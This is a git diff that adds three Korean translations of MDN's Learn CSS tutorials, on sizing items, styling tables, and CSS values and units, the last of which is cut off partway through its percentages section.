diff --git a/files/ko/learn/css/building_blocks/sizing_items_in_css/index.html b/files/ko/learn/css/building_blocks/sizing_items_in_css/index.html new file mode 100644 index 0000000000..321d65d726 --- /dev/null +++ b/files/ko/learn/css/building_blocks/sizing_items_in_css/index.html @@ -0,0 +1,131 @@ +--- +title: CSS 에서 항목 크기 조정 +slug: Learn/CSS/Building_blocks/Sizing_items_in_CSS +translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}
+ +

지금까지 다양한 수업에서는 CSS 를 사용하여 웹 페이지의 항목 크기를 조정하는 여러가지 방법을 살펴 보았습니다. 디자인의 다양한 기능이 얼마나 큰지 이해하는 것이 중요하며, 이 수업에서는 CSS 를 통해 요소의 크기를 결정하는 다양한 방법을 요약하고 크기 조정과 관련하여 향후 도움이 될 몇 가지 용어를 정의합니다.

+ + + + + + + + + + + + +
전제조건: +

기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)

+
목적:CSS 로 크기를 조정할 수 있는 다양한 방법 이해하기.
+ +

사물의 자연적 또는 본질적인 크기

+ +

HTML 요소는 CSS 의 영향을 받기 전에 설정한 자연스러운 크기입니다. 간단한 예는 이미지입니다. 이미지는 페이지에 포함된 이미지 파일에 정의된 너비와 높이를 갖습니다. 이 크기는 이미지 자체에서 나오는 — 고유 크기 (intrinsic size) 로 설명됩니다.

+ +

페이지에 이미지를 배치하고 <img> 태그 또는 CSS 의 속성을 사용하여 높이와 너비를 변경하지 않으면, 고유 크기를 사용하여 이미지가 표시됩니다. 파일의 범위를 볼 수 있도록 아래 예제의 이미지에 테두리를 지정했습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}

+ +

그러나 빈 {{htmlelement("div")}} 에는, 자체 크기가 없습니다. 내용이 없는 HTML 에 {{htmlelement("div")}} 를 추가한 다음 이미지와 마찬가지로 테두리를 지정하면, 페이지에 한 라인이 표시됩니다. 이것은 요소의 접힌 (collapsed) 테두리입니다 — 열려야 할 내용이 없습니다. 아래 예제에서, 이 테두리는 container 의 너비까지 확장됩니다. 이는 블록 레벨 요소이기 때문에 친숙해지기 시작해야 합니다. 내용이 없기 때문에 높이 (또는 블록의 크기) 가 없습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}

+ +

위의 예에서, 빈 요소 안에 텍스트를 추가하십시오. 요소의 높이가 내용에 의해 정의되므로 테두리에 해당 텍스트가 포함됩니다. 따라서 블록 차원에서 이 <div> 의 크기는 내용의 크기에서 비롯됩니다. 다시 말하지만, 이것은 요소의 고유 크기입니다 — 크기는 내용에 의해 정의됩니다.

+ +

특정 크기 설정

+ +

물론 디자인의 요소에 특정 크기를 줄 수 있습니다. 요소에 크기가 주어지면 (그리고 그 내용이 그 크기에 맞아야 함) 우리는 이것을 외적인 크기 (extrinsic size) 로 지칭합니다. 위의 예에서 <div> 를 가져와서 — 구체적인 {{cssxref("width")}} 및 {{cssxref("height")}} 값을 지정할 수 있으며, 이제 어떤 내용이 들어가든 해당 크기를 갖습니다. overflow 에 대한 이전 수업 에서 발견한 것처럼 요소에 맞는 공간보다 많은 콘텐츠가 있으면 설정된 높이로 인해 콘텐츠가 overflow 될 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}

+ +

이 overflow 문제로 인해, 요소의 높이를 길이 또는 백분율로 고정하는 것은 웹에서 매우 신중하게 수행해야 하는 작업입니다.

+ +

백분율 사용하기

+ +

여러 방법으로 백분율은 길이 단위처럼 작동하며, 값과 단위에 대한 수업에서 논의한 것처럼, 종종 길이와 상호 교환적으로 사용될 수 있습니다. 백분율을 사용하는 경우 백분율이 얼마인지  알고 있어야 합니다. 다른 container 안에 있는 박스의 경우 자식 박스에 백분율 너비를 지정하면, 부모 container 너비의 백분율이 됩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}

+ +

백분율을 포함하는 블록의 크기에 대해 결정되기 때문입니다. 백분율이 적용되지 않으면 <div> 는 블록 레벨 요소이므로 사용가능한 공간의 100% 를 차지합니다. 너비를 백분율로 지정하면, 일반적으로 채워지는 공간의 백분율이 됩니다.

+ +

백분율 마진 및 패딩

+ +

margins 과 padding 을 백분율로 설정하면 이상한 동작이 나타날 수 있습니다. 아래 예제에는 박스가 있습니다. 내부 박스에 {{cssxref("margin")}} 을 10% 로, {{cssxref("padding")}} 을 10% 로 지정했습니다. 박스 상단과 하단의 패딩과 마진은 왼쪽과 오른쪽의 마진과 크기가 같습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}

+ +

예를 들어 상단 및 하단 마진 백분율이 요소 높이의 백분율이고, 왼쪽 및 오른쪽 마진 백분율이 요소 너비의 백분율일 것으로 예상할 수 있습니다. 그러나, 이것은 사실이 아닙니다!

+ +

백분율로 마진 및 패딩을 사용하는 경우, 값은 인라인 크기 (inline size) 에서 계산되므로 — horizontal 언어로 작업할 때의 너비입니다. 이 예에서 모든 마진과 패딩은 너비의 10% 입니다. 즉, 박스 전체에 같은 크기의 마진과 패딩을 둘 수 있습니다. 이 방법으로 백분율을 사용하면 기억할 가치가 있습니다.

+ +

min- 및 max- 크기

+ +

고정된 크기를 주는 것 외에도, CSS 에 요소에 최소 또는 최대 크기를 제공하도록 요청할 수 있습니다. 가변적인 양의 내용을 포함할 수 있는 박스가 있고, 항상  특정 높이 이상이 되도록 하려면, {{cssxref("min-height")}} 속성을 설정할 수 있습니다. 박스는 항상 이 높이 이상이지만, 박스의 최소 높이에 대한 공간보다 더 많은 내용이 있으면 키가 더 커집니다.

+ +

아래 예에서 정의된 높이가 150 픽셀인 두 개의 박스를 볼 수 있습니다. 왼쪽의 박스는 키가 150 픽셀입니다; 오른쪽의 상자에는 더 많은 공간이 필요한 내용이 있으므로, 최소 150 픽셀 이상으로 키가 커졌습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}

+ +

이는 overflow 를 피하면서 가변적인 양의 콘텐츠를 처리할 때 매우 유용합니다.

+ +

{{cssxref("max-width")}} 의 일반적인 용도는 이미지를 원래 너비로 표시할 공간이 충분하지 않으면 이미지의 크기를 줄이면서, 해당 너비보다 크게되지 않도록 하는것입니다.

+ +

예를 들어, 이미지에서 width: 100% 를 설정하고 이미지의 고유 (intrinsic) 너비가 container 보다 작으면, 이미지가 강제로 늘어나고 커져 픽셀화되어 나타납니다. 고유 너비가 container 보다 크면 overflow 됩니다. 두 경우 모두 여러분이 원하는 것이 아닙니다.

+ +

max-width: 100% 를 대신 사용하면, 이미지가 고유 크기보다 작아질 수 있지만, 크기의 100% 에서 멈춥니다.

+ +

아래 예에서는 동일한 이미지를 두 번 사용했습니다. 첫 번째 이미지에는 width: 100% 로 주어졌으며, 그보다 큰 container 에 있으므로 container 너비로 늘어납니다. 두 번째 이미지에는 max-width: 100% 로 설정되어 있으므로 container 를 채우기 위해 늘어나지 않습니다. 세 번째 박스에는 동일한 이미지가 다시 포함되며, max-width: 100% 로 설정됩니다; 이 경우 박스에 맞게 크기가 어떻게 축소되었는지 확인할 수 있습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}

+ +

이 기술은 이미지를 반응형으로 만드는 데 사용되므로 더 작은 장치에서 볼 때 이미지가 적절하게 축소됩니다. 그러나 이 기술을 사용하여 실제로 큰 이미지를 로드한 다음 브라우저에서 축소하면 안됩니다. 이미지는 디자인에 표시되는 가장 큰 크기보다 커야합니다. 지나치게 큰 이미지를 다운로드하면, 사이트 속도가 느려질 수 있으며, 데이터 요금제인 경우 더 많은 비용이 발생할 수 있습니다.

+ +
+

참고: 반응형 이미지 기술 에 대해 자세히 알아보십시오.

+
+ +

Viewport 단위

+ +

Viewport — 사이트를 보는 데 사용하는 브라우저에서 페이지의 가시 영역 — 또한 크기가 있습니다. CSS 에는 viewport 의 크기와 관련된 단위가 있습니다 — viewport 너비의 경우 vw 단위, viewport 높이의 경우 vh. 이 단위를 사용하면 사용자의 viewport 에 상대적인 크기를 지정할 수 있습니다.

+ +

1vh 는 viewport 높이의 1% 와 같고, 1vw 는 viewport 너비의 1% 와 같습니다. 이 단위를 사용하여 박스 크기 뿐만 아니라, 텍스트도 조정할 수 있습니다. 아래 예에서는 20vh 및 20vw 크기의 박스가 있습니다. 박스에는 문자 A 가 포함되어 있으며 {{cssxref("font-size")}} 에 10vh 가 지정되었습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}

+ +

 vh 및 vw 값을 변경하면 박스 또는 글꼴의 크기가 변경됩니다; viewport 크기를 변경하면 viewport 를 기준으로 크기가 조정되므로 크기도 변경됩니다. viewport 크기를 변경할 때 예제 변경 사항을 보려면 크기를 조정할 수 있는 새 브라우저 창에 예제를 로드해야 합니다 (위에 표시된 예제가 포함된 <iframe> 이 viewport 임). 예제를 열고, 브라우저 창의 크기를 조정한 후 박스와 텍스트의 크기에 어떤 영향이 있는지 관찰하십시오.

+ +

viewport 에 따라 크기를 조정하면 디자인에 유용할 수 있습니다. 예를 들어, 전체 콘텐츠 페이지 섹셩을 콘텐츠의 나머지 부분보다 먼저 표시하려면, 페이지의 해당 부분을 100vh 높이로 설정하면 나머지 콘텐츠가 viewport 아래로 밀려서 문서가 스크롤 된 후에만 표시됩니다.

+ +

요약

+ +

이번 수업에서는 웹에서 크기를 조정할 때 발생할 수 있는 몇 가지 주요 문제에 대해 설명합니다. CSS 레이아웃 으로 이동할 때, 크기 조정은 다양한 레이아웃 방법을 익히는 데 매우 중요하므로 계속 진행하기 전에 여기에서 개념을 이해하는 것이 좋습니다.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}

+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git a/files/ko/learn/css/building_blocks/styling_tables/index.html b/files/ko/learn/css/building_blocks/styling_tables/index.html new file mode 100644 index 0000000000..fb497ebfe2 --- /dev/null +++ b/files/ko/learn/css/building_blocks/styling_tables/index.html @@ -0,0 +1,308 @@ +--- +title: 표 스타일링 +slug: Learn/CSS/Building_blocks/Styling_tables +translation_of: Learn/CSS/Building_blocks/Styling_tables +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}
+ +

+ +

HTML 표 스타일링은 세계에서 가장 매력적인 일이 아니지만, 때로는 우리 모두가 해야할 일입니다. 이 기사에서는 특정 표 스타일링 기술을 강조 표시하여 HTML 표를 보기좋게 만드는 방법에 대한 안내서를 제공합니다.

+ + + + + + + + + + + + +
전제조건:HTML 기본 사항 (HTML 소개 학습), HTML 표 에 대한 지식 및 CSS 작동 방식에 대한 이해 (CSS 첫 번째 단계 학습.)
목적:HTML 표를 효과적으로 스타일링하는 방법 배우기.
+ +

전형적인 HTML 표

+ +

전형적인 HTML 표를 살펴 봅시다. 글쎄요, 일반적인 표의 예들은 — 신발, 날씨 또는 직원들에 관한 것입니다; 우리는 영국의 유명한 펑크 밴드에 관한것을 만들어서 더 흥미롭게 만들기로 결정했습니다. 코드는 다음과 같습니다:

+ +
<table>
+  <caption>A summary of the UK's most famous punk bands</caption>
+  <thead>
+    <tr>
+      <th scope="col">Band</th>
+      <th scope="col">Year formed</th>
+      <th scope="col">No. of Albums</th>
+      <th scope="col">Most famous song</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Buzzcocks</th>
+      <td>1976</td>
+      <td>9</td>
+      <td>Ever fallen in love (with someone you shouldn't've)</td>
+    </tr>
+    <tr>
+      <th scope="row">The Clash</th>
+      <td>1976</td>
+      <td>6</td>
+      <td>London Calling</td>
+    </tr>
+
+      ... some rows removed for brevity
+
+    <tr>
+      <th scope="row">The Stranglers</th>
+      <td>1974</td>
+      <td>17</td>
+      <td>No More Heroes</td>
+    </tr>
+  </tbody>
+  <tfoot>
+    <tr>
+      <th scope="row" colspan="2">Total albums</th>
+      <td colspan="2">77</td>
+    </tr>
+  </tfoot>
+</table>
+ +

{{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}} 등의 기능 덕분에 표가 잘 표시되고 쉽게 스타일링되며 액세스할 수 있습니다. 불행히도 화면에 렌더링할 때는 좋지 않습니다 (punk-bands-unstyled.html 에서 라이브 참조):

+ +

+ +

기본 브라우저 스타일만 사용하면, 비좁고 읽기 어려우며 지루해 보입니다. 이 문제를 해결하려면 CSS 를 사용해야 합니다.

+ +

우리의 표 스타일링

+ +

표 예제를 함께 스타일링 해 봅시다.

+ +
    +
  1. 시작하려면, sample markup 의 로컬 사본을 만들고 두 이미지 (노이즈 및 표범가죽) 를 모두 다운로드한 다음, 세 개의 결과 파일을 로컬 컴퓨터의 작업 디렉토리에 넣습니다.
  2. +
  3. 다음으로, style.css 라는 새 파일을 만들고 다른 파일과 같은 디렉토리에 저장하십시오.
  4. +
  5. {{htmlelement("head")}} 안에 다음 HTML 행을 배치하여 CSS 를 HTML 에 연결하십시오: +
    <link href="style.css" rel="stylesheet" type="text/css">
    +
  6. +
+ +

간격 및 레이아웃

+ +

가장 먼저 해야할 일은 간격/레이아웃을 정렬하는 것입니다 — 기본 표 스타일은 너무 비좁습니다! 이렇게 하려면, style.css 파일에 다음 CSS 를 추가하십시오:

+ +
/* 간격 */
+
+table {
+  table-layout: fixed;
+  width: 100%;
+  border-collapse: collapse;
+  border: 3px solid purple;
+}
+
+thead th:nth-child(1) {
+  width: 30%;
+}
+
+thead th:nth-child(2) {
+  width: 20%;
+}
+
+thead th:nth-child(3) {
+  width: 15%;
+}
+
+thead th:nth-child(4) {
+  width: 35%;
+}
+
+th, td {
+  padding: 20px;
+}
+ +

가장 중요한 부분은 다음과 같습니다:

+ + + +

이 시점에서, 우리 표는 이미 훨씬 좋아보입니다:

+ +

+ +

간단한 typography

+ +

이제 텍스트를 약간 정리해 보겠습니다.

+ +

우선, Google Fonts 에서 펑크 밴드 관련 표에 적합한 글꼴을 찾았습니다. 원하는 경우 거기에 가서 다른 것을 찾을 수 있습니다. 제공된 {{htmlelement("link")}} 요소 및 custom {{cssxref("font-family")}} 선언을 Google Fonts 에서 제공하는 선언으로 바꾸면 됩니다.

+ +

먼저, 다음 {{htmlelement("link")}} 요소를 기존 <link> 요소 바로 위의 HTML head 에 추가하십시오:

+ +
<link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'>
+ +

이제 이전 CSS 아래의 style.css 파일에, 다음 CSS 를 추가하십시오:

+ +
/* typography */
+
+html {
+  font-family: 'helvetica neue', helvetica, arial, sans-serif;
+}
+
+thead th, tfoot th {
+  font-family: 'Rock Salt', cursive;
+}
+
+th {
+  letter-spacing: 2px;
+}
+
+td {
+  letter-spacing: 1px;
+}
+
+tbody td {
+  text-align: center;
+}
+
+tfoot th {
+  text-align: right;
+}
+ +

여기에서는 표에 특별한 것은 없습니다. 우리는 일반적으로 쉽게 읽을 수 있도록 글꼴 스타일을 조정합니다:

+ + + +

결과는 조금 깔끔해 보입니다:

+ +

+ +

그래픽 과 색상

+ +

이제 그래픽과 색상으로 넘어가겠습니다! 표에는 punk and attitude 가 가득하기 때문에, 밝은 인상적인 스타일링을 제공해야합니다. 걱정하지 마십시오. 표를 크게 만들 필요는 없습니다 — 더 미묘하고 세련된 것을 선택할 수 있습니다.

+ +

아래에서 다시 CSS 를 style.css 파일에 추가하고, 다시 시작하십시오:

+ +
thead, tfoot {
+  background: url(leopardskin.jpg);
+  color: white;
+  text-shadow: 1px 1px 1px black;
+}
+
+thead th, tfoot th, tfoot td {
+  background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5));
+  border: 3px solid purple;
+}
+
+ +

다시 말하지만, 여기에는 표에만 해당되는 것이 없지만, 몇 가지 주목할 가치가 있습니다.

+ +

{{htmlelement("thead")}} 및 {{htmlelement("tfoot")}} 에 {{cssxref("background-image")}} 를 추가하고, 머리글과 바닥글에 있는 모든 텍스트의 {{cssxref("color")}} 를 흰색으로 (텍스트에 그림자 추가) 변경하여 읽기 쉽게 했습니다. 텍스트가 배경과 잘 대비되도록 해야합니다. 그래야 잘 읽을 수 있습니다.

+ +

또한 머리글과 바닥글 내부의 {{htmlelement("th")}} 및 {{htmlelement("td")}} 요소에 선형 그라데이션을 추가하여 약간의 질감을 개선하오, 밝은 보라색 테두리를 부여했습니다. 중첩된 요소를 여러 개의 중첩된 요소를 사용하여 스타일을 서로 겹칠 수 있는 것이 유용합니다.  예, 여러 배경 이미지를 사용하여 {{htmlelement("thead")}} 및 {{htmlelement("tfoot")}} 요소에 배경 이미지와 선형 그라데이션을 모두 넣을 수는 있지만, 별도로 결정했습니다. 여러 배경 이미지 또는 선형 그라데이션을 지원하지 않는 구형 브라우저의 이점을 위해서입니다.

+ +

얼룩말 줄무늬 (Zebra striping)

+ +

우리는 표의 다른 데이터 행을 더 쉽게 구문 분석하고 읽을 수 있도록 번갈아 가며 zebra stripes 를 구현하는 방법을 보여주기 위해 별도의 섹션을 제공하고자 했습니다. style.css 파일의 맨 아래에 다름 CSS 를 추가하십시오:

+ +
tbody tr:nth-child(odd) {
+  background-color: #ff33cc;
+}
+
+tbody tr:nth-child(even) {
+  background-color: #e495e4;
+}
+
+tbody tr {
+  background-image: url(noise.png);
+}
+
+table {
+  background-color: #ff33cc;
+}
+ + + +

이러한 색상은 다음과 같은 모양을 만듭니다:

+ +

+ +

자, 이것은 여러분의 취향에 맞지 않을 수도 있습니다. 하지만 , 우리가 하려고하는 요점은 표가 지루하고 학문적일 필요는 없다는 것입니다.

+ +

caption 스타일링

+ +

표와 관련하여 마지막으로 해야할 일이 있습니다 — caption 에 스타일을 지정하는 일입니다. 이렇게 하려면, style.css 파일의 맨 아래에 다름을 추가하십시오:

+ +
caption {
+  font-family: 'Rock Salt', cursive;
+  padding: 20px;
+  font-style: italic;
+  caption-side: bottom;
+  color: #666;
+  text-align: right;
+  letter-spacing: 1px;
+}
+ +

bottom 값을 가진 {{cssxref("caption-side")}} 속성을 제외하고는 여기서 주목할만한 것이 없습니다. 이로 인해 caption 이 표의 맨 아래에 배치되고 다른 선언과 함께 최종 모양을 얻을 수 있습니다 (punk-bands-complete.html 참조):

+ +

+ +

적극적인 학습: 나만의 표 스타일

+ +

이 시점에서 표 HTML 예제 (또는 일부를 사용하십시오!) 를 가져와서 표보다 훨씬 더 나은 디자인과 장식을 갖도록 스타일을 지정하고 싶습니다.

+ +

표 스타일링 빠르게 하는 팁

+ +

다음 단계로 넘어가지 전에, 위에서 설명한 가장 유용한 요점에 대한 간단한 목록을 제공해야 한다고 생각했습니다:

+ + + +

요약

+ +

지금 우리 뒤에 스타일링 표가 있기 때문에, 우리의 시간을 차지할 다른 것이 필요합니다. 다음 기사에서는 CSS 디버깅에 대해 살펴봅니다 — 레이아웃이 제대로 보이지 않거나 적용할 때 적용되지 않는 속성과 같은 문제를 해결하는 방법. 여기에는 브라우저 DevTools 를 사용하여 문제점에 대한 솔루션을 찾는 방법에 대한 정보가 포함됩니다.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}

+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값 과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git a/files/ko/learn/css/building_blocks/values_and_units/index.html b/files/ko/learn/css/building_blocks/values_and_units/index.html new file mode 100644 index 0000000000..e4f8ab52b4 --- /dev/null +++ b/files/ko/learn/css/building_blocks/values_and_units/index.html @@ -0,0 +1,388 @@ +--- +title: CSS 값 과 단위 +slug: Learn/CSS/Building_blocks/Values_and_units +translation_of: Learn/CSS/Building_blocks/Values_and_units +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}
+ +

CSS 에 사용된 모든 속성에는 해당 속성에 허용되는 값 이 있으며, MDN 의 속성 페이지를 보면 특성 속성에 유효한 값을 이해하는 데 도움이 됩니다. 이 레슨에서는 가장 일반적인 값 과 사용 단위를 살펴 보겠습니다.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)
목적:CSS 속성에 사용되는 다양한 유형의 값과 단위에 대해 배우기.
+ +

CSS 값이란 무엇인가?

+ +

CSS 사양과 MDN 의 속성 페이지에서 <color> 또는 <length>. 와 같이 꺽쇠 괄호로 묶여 있는 값을 찾을 수 있습니다. <color> 값이 특정 속성에 유효한 것으로 표시되면, <color> 참조 페이지에 나열된대로 유효한 속성을 해당 속성의 값으로 사용할 수 있습니다.

+ +
+

참고: CSS 값을 데이터 유형 이라고 합니다. 용어는 기본적으로 상호 교환이 가능합니다 — CSS 에서 데이터 유형이라고 하는것을 볼 때, 실제로 가치를 말하는 멋진 방법입니다.

+
+ +
+

참고: 예, CSS 값은 CSS 속성과 구별하기 위해, 꺽쇠 괄호를 사용하여 표시되는 경향이 있습니다 (예: {{cssxref("color")}} 속성, <color> 데이터 형식). CSS 데이터 형식과 HTML 요소도 꺽쇠 괄호를 사용하므로 혼동될 수 있지만, 이는 매우 다른 상황에서 사용됩니다.

+
+ +

다음 예제에서는 키워드를 사용하여 머리글의 색상을 설정하고, rgb() 함수를 사용하여 배경을 설정했습니다:

+ +
h1 {
+  color: black;
+  background-color: rgb(197,93,161);
+} 
+
+ +

CSS 값은 허용가능한 하위값 모음을 정의하는 방법입니다. 즉, <color> 가 유효한 것으로 표시되면 — 키워드, 16진수 값, rgb() 함수 등 어떤 색상값을 사용할 수 있는지 궁금할 필요가 없습니다. 사용 가능한 <color> 값은 브라우저에서 지원한다고 가정합니다. 각 값에 대한 MDN 페이지는 브라우저 지원에 대한 정보를 제공합니다. 예를 들어 <color> 페이지를 보면 브라우저 호환성 섹션에 다양한 색상값 유형과 지원이 나열되어 있습니다.

+ +

여러가지 가능한 값을 시험해 볼 수 있도록 예를 들어 자주 접할 수 있는 몇 가지 유형의 값과 단위를 살펴보겠습니다.

+ +

숫자, 길이 및 백분율

+ +

CSS 에서 사용할 수 있는 다양한 숫자 데이터 형식이 있습니다. 다음은 모두 숫자로 분류됩니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
데이터 형식설명
<integer><integer> 은 1024 또는-55 와 같은 정수입니다.
<number><number> 는 10진수를 나타냅니다 — 소수점 이하의 소수 자릿수 (예: 0.255, 128 또는 -1.2) 가 있을 수도 있고 없을 수도 있습니다.
<dimension><dimension> 은 예를 들어 45deg, 5s 또는 10px. 과 같은 단위가 붙어있는 <number> 입니다. <dimension> 은 <length>, <angle>, <time> 및 <resolution> 의 종류를 포함하는 카테고리입니다.
<percentage><percentage> 는 다른 값의 일부, 예를 들어 50% 를 나타냅니다. 백분율 값은 항상 다른 수량을 기준으로 합니다. 예를 들어 요소의 길이는 부모 요소의 길이를 기준으로 합니다.
+ +

길이

+ +

가장 자주 사용되는 숫자 형식은 <length> 입니다. 예를 들면 10px (픽셀) 또는30em. CSS 에서 사용되는 길이는 — 상대 및 절대의 두 가지 유형이 있습니다. 얼마나 커질지 알기 위해서는 차이를 이해하는 것이 중요합니다.

+ +

절대 길이 단위

+ +

다음은 모두 절대 길이 단위이며 — 다른 것과 관련이 없으며 일반적으로 항상 동일한 크기로 간주됩니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
단위이름다음과 동일함
cm센티미터1cm = 96px/2.54
mm밀리미터1mm = 1/10th of 1cm
Q4분의 1 밀리미터1Q = 1/40th of 1cm
in인치1in = 2.54cm = 96px
pcPicas1pc = 1/16th of 1in
pt포인트1pt = 1/72th of 1in
px픽셀1px = 1/96th of 1in
+ +

이러한 값의 대부분은 화면 출력이 아닌 인쇄에 사용될 때 더 유용합니다. 예를 들어 일반적으로 화면에 cm (센티미터) 를 사용하지 않습니다. 보통 사용하는 유일한 값은 px (픽셀) 입니다.

+ +

상대 길이 단위

+ +

상대 길이 단위는 다른 요소 (상위 요소의 글꼴 크기 또는 viewport 크기) 와 관련이 있습니다. 상대 단위를 사용하면 텍스트나 다른 요소의 크기가 페이지의 다른 모든 것에 비례하여 조정되도록 신중하게 계획할 수 있다는 이점이 있습니다. 웹 개발에 가장 유용한 단위가 아래 표에 나열되어 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
단위관련 사항
em요소의 글꼴 크기.
ex요소 글꼴의 x-height.
ch요소 글꼴의 glyph "0" 의 사전 길이 (너비) 입니다.
rem루트 요소의 글꼴 크기.
lh요소의 라인 높이.
vwviewport 너비의 1%.
vhviewport 높이의 1%.
vminviewport 의 작은 치수의 1%.
vmaxviewport 의 큰 치수의 1%.
+ +

예제 살펴보기

+ +

아래 예에서 일부 상대 및 절대 길이 단위의 동작을 확인할 수 있습니다. 첫 번째 박스에는 {{cssxref("width")}} 픽셀 단위로 설정되어 있습니다. 절대 단위로서 이 너비는 다른 사항에 관계없이 동일하게 유지됩니다.

+ +

두 번째 박스의 너비는 vw (viewport 너비) 단위로 설정됩니다. 이 값은 viewport 너비를 기준으로 하므로, 10vw 는 viewport 너비의 10% 입니다. 브라우저 창의 너비를 변경하면, 박스의 크기가 변경되지만, 이 예제는 <iframe> 을 사용하여 페이지에 포함되므로 작동하지 않습니다. 이 기능을 실제로 보려면 브라우저 탭에서 예제를 연 후 에 시도 해야 합니다.

+ +

세 번째 박스는 em 단위를 사용합니다. 글꼴 크기에 상대적입니다. .wrapper class 를 포함하는 {{htmlelement("div")}} 를 포함하여 글꼴 크기를 1em 으로 설정했습니다. 이 값을 1.5em 으로 변경하면 모든 요소의 글꼴 크기가 증가하지만, 너비가 해당 글꼴 크기에 비례하므로 마지막 항목만 넓어집니다.

+ +

위의 지침을 따른 후 다른 방법으로 값을 실습하여 얻은 것을 확인하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}

+ +

ems 및 rems

+ +

em 과 rem 은 박스에서 텍스트로 크기를 조정할 때 가장 자주 발생하는 두 개의 상대 길이입니다. 텍스트 스타일링 또는 CSS 레이아웃 과 같은 보다 복잡한 주제를 시작할 때, 이러한 작동 방식과 차이점을 이해하는 것이 좋습니다. 아래 예제는 데모를 제공합니다.

+ +

HTML 은 중첩된 목록의 집합니다 — 총 3개의 목록이 있으며 두 예제 모두 동일한 HTML 을 갖습니다. 유일한 차이점은 첫 번째는 ems class 이고 두 번째는 rems class 입니다.

+ +

먼저, <html> 요소에서 글꼴 크기로 16px 를 설정합니다.

+ +

다시 말해서, em 단위는 "부모 요소의 글꼴 크기" 를 의미합니다. ems class 가 있는 {{htmlelement("ul")}} 내부의 {{htmlelement("li")}} 요소는 부모로부터 크기를 가져옵니다. 따라서 각 중첩 부분은 글꼴 크기가 부모 글꼴 크기의 1.3em — 1.3 배로 설정되므로 점점 더 커집니다.

+ +

다시 말해서, rem 단위는 "루트 요소의 글꼴 크기" 를 의미합니다. ("root em" 의 rem 표준입니다.) rems class 가 있는 {{htmlelement("ul")}} 내부의 {{htmlelement("li")}} 요소는 루트 요소는 (<html>) 에서 크기를 가져옵니다. 이것은 각각의 연속적인 중첩 부분이 계속 커지는 것을 의미합니다.

+ +

그러나, CSS 에서 <html> font-size 를 변경하면 다른 모든 텍스트가 변경되는 것을 볼 수 있습니다 — rem- 및 em-크기 텍스트.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} 

+ +

백분율

+ +

많은 경우 백분율은 길이와 같은 방식으로 처리됩니다. 백분율이 있는 것은 항상 다른 값에 상대적으로 설정된다는 것입니다. 예를 들어, 요소의 font-size 를 백분율로 설정하면요소 무보의 글꼴 크기에 대한 백분율이 됩니다. width 값에 백분율을 사용하면, 부모 너비의 백분율이 됩니다.

+ +

아래 예제에서 두 개의 백분율 크기 박스와 두 개의 픽셀 크기 박스는 동일한 class 이름을 갖습니다. 두 세트의 너비는 각각 200px 및 40% 입니다.

+ +

